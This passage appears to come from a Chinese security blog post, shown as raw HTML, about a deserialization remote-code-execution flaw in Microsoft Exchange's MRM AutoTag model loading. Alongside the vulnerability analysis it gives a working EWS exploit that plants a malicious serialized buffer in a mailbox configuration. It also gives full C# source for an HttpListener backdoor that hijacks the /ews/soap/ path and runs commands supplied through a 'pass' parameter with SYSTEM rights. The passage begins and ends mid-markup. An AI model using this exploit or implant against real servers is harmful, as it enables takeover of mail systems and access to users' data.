target="_blank">https://docs.microsoft.com/en-us/exchange/policy-and-compliance/mrm/retention-tags-and-retention-policies，其内部通过“标签”和“策略”进行实现。原文表述较为晦涩，简单总结就是：对一类邮件打上相同的标签(Tag)，创建策略（例如定期删除）并应用到某个标签，使得被打上标签的邮件由邮箱助理模块定期统一进行处理。</a></span><br/></p><section style="text-align: left;text-indent: 2em;"><span style="letter-spacing: 0.5px;"><span style="font-size: 15px;">微软在Exchange2010中设计了一个机器学习功能，通过逻辑回归算法计算邮箱内全部邮件的标签状态，并为邮件自动标记。机器学习将生成模型，模型信息将保存至收件箱的用户配置中。</span><span style="font-size: 15px;text-indent: 2em;">用户配置可以近似理解为一个以字符串为键的字典，其值可能为字典、XML或二进制流三种格式。在机器学习功能中，模型的保存格式为二进制流，其内容为.net二进制序列化数据。</span></span></section><section style="text-align: left;text-indent: 2em;"><span style="font-size: 15px;letter-spacing: 0.5px;">自动标记功能默认不会开启，但无论是否开启都不影响邮箱助理处理过程中进行的模型初始化加载，此过程在用户修改模型配置和邮箱助手启动时均会触发。</span></section><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="letter-spacing: 0.5px;font-size: 24px;"><strong>0x02 分析</strong></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;text-indent: 2em;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">此漏洞成因简单粗暴，首先，模型加载由[Microsoft.Exchange.InfoWorker.Common]Microsoft.Exchange.InfoWorker.Common.ELC.AutoTagging.MailboxManager::LoadModel方法进行实现，其代码极为简略：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">internal</span> <span class="code-snippet__keyword">bool</span> <span class="code-snippet__title">LoadModel</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">out</span> LearningModel learningModel, <span class="code-snippet__keyword">out</span> MessageTransformer messageTransformer, <span class="code-snippet__keyword">bool</span> parseFai</span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  messageTransformer = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">  learningModel = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> (UserConfiguration userConfiguration = ElcMailboxHelper.OpenFaiMessage(mailboxSession, <span class="code-snippet__string">&#34;MRM.AutoTag.Model&#34;</span>, createIfMissing: <span class="code-snippet__literal">false</span>))</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (userConfiguration == <span class="code-snippet__literal">null</span>)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (parseFai)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> DeserializeModelFAI(userConfiguration, <span class="code-snippet__keyword">out</span> learningModel, <span class="code-snippet__keyword">out</span> messageTransformer);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">OpenFaiMessage将从收件箱直接读取配置并返回。由于任意用户均可对自身配置进行任意修改，这里是一个可控输入：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">internal</span> <span class="code-snippet__keyword">static</span> UserConfiguration <span class="code-snippet__title">OpenFaiMessage</span>(<span class="code-snippet__params">MailboxSession mailboxSession, <span class="code-snippet__keyword">string</span> faiMessageClass, <span class="code-snippet__keyword">bool</span> createIfMissing</span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  .....</span></code><code><span class="code-snippet_outer">  StoreId defaultFolderId = mailboxSession.GetDefaultFolderId(DefaultFolderType.Inbox);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span></span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    userConfiguration = mailboxSession.UserConfigurationManager.GetFolderConfiguration(faiMessageClass, UserConfigurationTypes.Stream | UserConfigurationTypes.XML | UserConfigurationTypes.Dictionary, defaultFolderId);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  .....</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> userConfiguration;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">随后DeserializeModelFAI方法将在没有任何SerializationBinder的情况下直接进行反序列化：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">bool</span> <span class="code-snippet__title">DeserializeModelFAI</span>(<span class="code-snippet__params">UserConfiguration configItem, <span class="code-snippet__keyword">out</span> LearningModel learningModel, <span class="code-snippet__keyword">out</span> MessageTransformer messageTransformer</span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  .....</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span></span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">using</span> (Stream serializationStream = configItem.GetStream())</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      IFormatter formatter = <span class="code-snippet__keyword">new</span> BinaryFormatter();</span></code><code><span class="code-snippet_outer">      learningModel = (LearningModel)formatter.Deserialize(serializationStream);</span></code><code><span class="code-snippet_outer">      messageTransformer = (MessageTransformer)formatter.Deserialize(serializationStream);</span></code><code><span class="code-snippet_outer">      result = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  .....</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> result;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="letter-spacing: 0.5px;font-size: 24px;"><strong>0x03 利用</strong></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;text-indent: 2em;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">想要成功利用漏洞，便需要一个修改操作服务器端UserConfiguration对象的方式。除了常规邮件服务与OWA，Exchange提供还提供了EWS接口供客户端调用，其对应的客户端类库为Microsoft.Exchange.WebServices.dll。</span><br/></p><section style="text-align: left;text-indent: 2em;"><span style="font-size: 15px;letter-spacing: 0.5px;">熟悉EWS开发的话都会知道，客户端类库中的对象模型与服务器对象模型几乎完全对应。实际上完全不需要查询MSDN即可找到所需类型Microsoft.Exchange.WebServices.Data.UserConfiguration，其定义如下：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">UserConfiguration</span> : <span class="code-snippet__title">IJsonSerializable</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  ...</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">string</span> Name</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">get</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> name;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">internal</span> <span class="code-snippet__keyword">set</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      name = <span class="code-snippet__keyword">value</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> FolderId ParentFolderId</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">get</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> parentFolderId;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">internal</span> <span class="code-snippet__keyword">set</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      parentFolderId = <span class="code-snippet__keyword">value</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> ItemId ItemId =&gt; itemId;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> UserConfigurationDictionary Dictionary =&gt; dictionary;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">byte</span>[] XmlData</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">get</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      ValidatePropertyAccess(UserConfigurationProperties.XmlData);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> xmlData;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">set</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      xmlData = <span class="code-snippet__keyword">value</span>;</span></code><code><span class="code-snippet_outer">      MarkPropertyForUpdate(UserConfigurationProperties.XmlData);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">byte</span>[] BinaryData</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">get</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      ValidatePropertyAccess(UserConfigurationProperties.BinaryData);</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> binaryData;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">set</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      binaryData = <span class="code-snippet__keyword">value</span>;</span></code><code><span class="code-snippet_outer">      MarkPropertyForUpdate(UserConfigurationProperties.BinaryData);</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  ...</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">对照方法定义很容易写出以下Exp：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">ExchangeService service = <span class="code-snippet__keyword">new</span> ExchangeService(ExchangeVersion.Exchange2010);</span></code><code><span class="code-snippet_outer">service.Credentials = <span class="code-snippet__keyword">new</span> WebCredentials(<span class="code-snippet__string">&#34;zcgonvh&#34;</span>,<span class="code-snippet__string">&#34;P@ssw0rd!&#34;</span>);</span></code><code><span class="code-snippet_outer">service.Url = <span class="code-snippet__keyword">new</span> Uri(<span class="code-snippet__string">&#34;<a href="https://target/ews/Exchange.asmx" target="_blank">https://target/ews/Exchange.asmx</a>&#34;</span>);</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">byte</span>[] data = EVIL-SERIALIZED-BUFFER;</span></code><code><span class="code-snippet_outer">  UserConfiguration u = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">  Folder folder = Folder.Bind(service, WellKnownFolderName.Inbox);</span></code><code><span class="code-snippet_outer">  u = <span class="code-snippet__keyword">new</span> UserConfiguration(service);</span></code><code><span class="code-snippet_outer">  u.BinaryData = data;</span></code><code><span class="code-snippet_outer">  u.Save(<span class="code-snippet__string">&#34;MRM.AutoTag.Model&#34;</span>, folder.Id);</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">其中EVIL-SERIALIZED-BUFFER为通过ActivitySurrogateSelectorGenerator生成的二进制序列化数据，注意需要更新为修复兼容性的版本，并使用.net 3.5进行编译。</span><br/></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">执行后，目标服务器MSExchangeMailboxAssistants.exe进程将连续进行多次反序列化。</span></p><p style="text-align: left;"><img class="rich_pages js_insertlocalimg" data-ratio="0.421875" data-s="300,640" data-backh="244" data-type="jpeg" data-w="1280" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=ebcd7057&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FteY3ucp0vibNUQ0njuRwM4TyiaWxPdXj2sIcvFWt1IV5zG2oqJISUibChs0xmknhq0Njohia7xYfkSn4k3cJuXIbmw%2F640%3Fwx_fmt%3Djpeg"/><br/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="letter-spacing: 0.5px;font-size: 24px;"><strong>0x04 分析</strong></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;text-indent: 2em;margin-top: 10px;"><span style="letter-spacing: 0.5px;"><span style="font-size: 15px;">代码执行仅仅是利用第一步。通过上述利用过程可以观察到一个现象：我们访问了EWS，设置了一个邮箱文件夹对象上的属性，而漏洞由MSExchangeMailboxAssistants.exe进行触发。</span><span style="font-size: 15px;text-indent: 2em;">这个现象已经并非单纯的web代码审计，我们需要站在更高的系统层面进行理解。在<a href="https://docs.microsoft.com/zh-cn/exchange/architecture/architecture?view=exchserver-2019可以看到Exchange体系结构图，单纯考虑此漏洞所涉及的系统进行简化整理，可以得到如下流程图：" target="_blank">https://docs.microsoft.com/zh-cn/exchange/architecture/architecture?view=exchserver-2019可以看到Exchange体系结构图，单纯考虑此漏洞所涉及的系统进行简化整理，可以得到如下流程图：</a></span></span><br/></p><p style="text-align: left;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6626712328767124" data-s="300,640" data-backh="383" data-type="png" data-w="584" style="width: 100%;height: auto;" data-backw="578" src="https://wechat2rss.xlab.app/img-proxy/?k=6b7fafc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibNUQ0njuRwM4TyiaWxPdXj2stpq1qm1scHFiaJgrQ9UEA6pibeFoiaYCHzickzJ6hicN1doBaVFiaBZbaWLg%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;text-indent: 2em;"><span style="font-size: 15px;letter-spacing: 0.5px;">实际上，无论是通过接口或是客户端，对配置、邮件等服务器对象的修改都会直接体现在Storage所存储的内容中，这是一个数据持久化与共享行为。任何读取邮件数据的服务实际上等同于读取Storage，从而造成了我们观察到由MSExchangeMailboxAssistants服务进行反序列化的结果。</span></section><section style="text-align: left;text-indent: 2em;"><span style="font-size: 15px;letter-spacing: 0.5px;">此时回到代码审计的领域分析具体触发位置。MSExchangeMailboxAssistants实现了一个托管的windows服务，从其入口点Microsoft.Exchange.MailboxAssistants.Assistants.AssistantsService.OnStartInternal可以看到注册了大量经由时间或事件触发的功能：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">protected</span> <span class="code-snippet__keyword">override</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">OnStartInternal</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">string</span>[] args</span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  ...</span></code><code><span class="code-snippet_outer">  databaseManager = (DatabaseManager)(<span class="code-snippet__keyword">object</span>)<span class="code-snippet__keyword">new</span> DatabaseManager(<span class="code-snippet__string">&#34;MSExchangeMailboxAssistants&#34;</span>, <span class="code-snippet__number">50</span>, InfoworkerAssistants.CreateEventBasedAssistantTypes(), InfoworkerAssistants.CreateTimeBasedAssistantTypes(), <span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">  databaseManager.Start();</span></code><code><span class="code-snippet_outer">  ...</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">CreateEventBasedAssistantTypes方法将注册Microsoft.Exchange.MailboxAssistants.Assistants.ELC.ElcEventBasedAssistant类，其HandleEventInternal方法会判断是否为AutoTag配置，我们可以看到熟悉的名称MRM.AutoTag.Model：</span><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">internal</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__keyword">bool</span> <span class="code-snippet__title">IsAutoTagFai</span>(<span class="code-snippet__params">MapiEvent mapiEvent</span>)</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> ((<span class="code-snippet__keyword">int</span>)mapiEvent.get_ClientType() != <span class="code-snippet__number">6</span> &amp;&amp; (mapiEvent.get_EventFlags() &amp; <span class="code-snippet__number">1</span>) != <span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">string</span>.Compare(mapiEvent.get_ObjectClass(), <span class="code-snippet__string">&#34;IPM.Configuration.MRM.AutoTag.Model&#34;</span>, StringComparison.OrdinalIgnoreCase) != <span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">string</span>.Compare(mapiEvent.get_ObjectClass(), <span class="code-snippet__string">&#34;IPM.Configuration.MRM.AutoTag.Setting&#34;</span>, StringComparison.OrdinalIgnoreCase) == <span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">如是，则将在后续过程中调用Microsoft.Exchange.MailboxAssistants.Assistants.ELC.RetentionPolicyCheck::LoadAutoTagFai方法，此方法负责模型初始化加载，并进入实际的反序列化调用。</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="letter-spacing: 0.5px;font-size: 24px;"><strong>0x05 武器化</strong></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;text-indent: 2em;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">现在已经能够在远程执行任意命令，然而在实战利用中远远不够。我们不能确定对方是否能够真正联网，一个没有稳定控制通道的漏洞利用在实战中价值并不高。</span><br/></p><p style="text-align: left;text-indent: 2em;margin-top: 10px;"><span style="font-size: 15px;letter-spacing: 0.5px;">我们只能确定能够访问到目标的EWS，那么如何进行稳定控制？我们当然可以写入WebShell，但这仅仅是下策。MSExchangeMailboxAssistants本身通过SYSTEM账户运行，所以完全可以通过调用HTTP API进行端口复用，劫持EWS某个未被注册的端点供外部访问。</span></p><p style="text-align: left;"><img data-ratio="0.6059027777777778" style="width: 100%;height: auto;" data-type="png" data-w="576" data-backw="576" data-backh="349" src="https://wechat2rss.xlab.app/img-proxy/?k=1b0d5fa0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibNUQ0njuRwM4TyiaWxPdXj2saibJT2G8sH4k8f2iaO8s1GxqBpshBI3Nyo6E3wiaJnNNgBTRy95UvPaHg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">NetFX提供了HttpListener提供了HTTP API的托管访问，参考<a href="https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0，使用以下代码即可在/ews/soap/路径建立一个Http监听器，并执行request[" target="_blank">https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0，使用以下代码即可在/ews/soap/路径建立一个Http监听器，并执行request[</a>&#34;pass&#34;]提供的命令：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">string</span> password = <span class="code-snippet__string">&#34;pass&#34;</span>;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> (!HttpListener.IsSupported){<span class="code-snippet__keyword">return</span>;}</span></code><code><span class="code-snippet_outer">  HttpListener listener = <span class="code-snippet__keyword">new</span> HttpListener();</span></code><code><span class="code-snippet_outer">  listener.Prefixes.Add(<span class="code-snippet__string">&#34;<a href="http://*:80/ews/soap/" target="_blank">http://*:80/ews/soap/</a>&#34;</span>);</span></code><code><span class="code-snippet_outer">  listener.Start();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">while</span> (<span class="code-snippet__literal">true</span>)</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    HttpListenerContext context = listener.GetContext();</span></code><code><span class="code-snippet_outer">    HttpListenerRequest request = context.Request;</span></code><code><span class="code-snippet_outer">    HttpListenerResponse response = context.Response;</span></code><code><span class="code-snippet_outer">    Stream stm = <span class="code-snippet__literal">null</span> ;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">string</span> cmd=request.QueryString[password];</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span>(!<span class="code-snippet__keyword">string</span>.IsNullOrEmpty(cmd))</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">try</span></span></code><code><span class="code-snippet_outer">      {</span></code><code><span class="code-snippet_outer">        Process p = <span class="code-snippet__keyword">new</span> Process();</span></code><code><span class="code-snippet_outer">        p.StartInfo.FileName = cmd;</span></code><code><span class="code-snippet_outer">        p.StartInfo.UseShellExecute = <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">        p.StartInfo.RedirectStandardOutput = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">        p.StartInfo.RedirectStandardError = <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">        p.Start();</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">byte</span>[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());</span></code><code><span class="code-snippet_outer">        response.StatusCode = <span class="code-snippet__number">200</span>;</span></code><code><span class="code-snippet_outer">        response.ContentLength64 = data.Length;</span></code><code><span class="code-snippet_outer">        stm = response.OutputStream;</span></code><code><span class="code-snippet_outer">        stm.Write(data, <span class="code-snippet__number">0</span>, data.Length);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">catch</span></span></code><code><span class="code-snippet_outer">      { </span></code><code><span class="code-snippet_outer">        response.StatusCode = <span class="code-snippet__number">404</span>; </span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">finally</span></span></code><code><span class="code-snippet_outer">      {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span>(stm!=<span class="code-snippet__literal">null</span>)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">          stm.Close();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      response.StatusCode = <span class="code-snippet__number">404</span>;</span></code><code><span class="code-snippet_outer">      response.OutputStream.Close();    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">catch</span>{}</span></code></pre></section><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">由于会多次触发反序列化行为，为了防止阻塞以及跑出异常，需要开启新线程进行监听，完整代码大致如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> <span class="code-snippet__title">Zcg.Exploit.Remote</span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> <span class="code-snippet__title">SimpleExecutionRemoteStub</span></span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__title">SimpleExecutionRemoteStub</span>(<span class="code-snippet__params"></span>)</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">new</span> Thread(Listen).Start();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">Listen</span>(<span class="code-snippet__params"></span>)</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">      ....</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 15px;letter-spacing: 0.5px;">编译，使用新用户执行后访问/ews/soap/?pass=whoami，不出意外将得到whoami的输出结果：</span></p><p style="text-align: left;"><img class="rich_pages js_insertlocalimg" data-ratio="0.13495934959349593" data-s="300,640" data-backh="78" data-type="jpeg" data-w="615" style="width: 100%;height: auto;" data-backw="578" 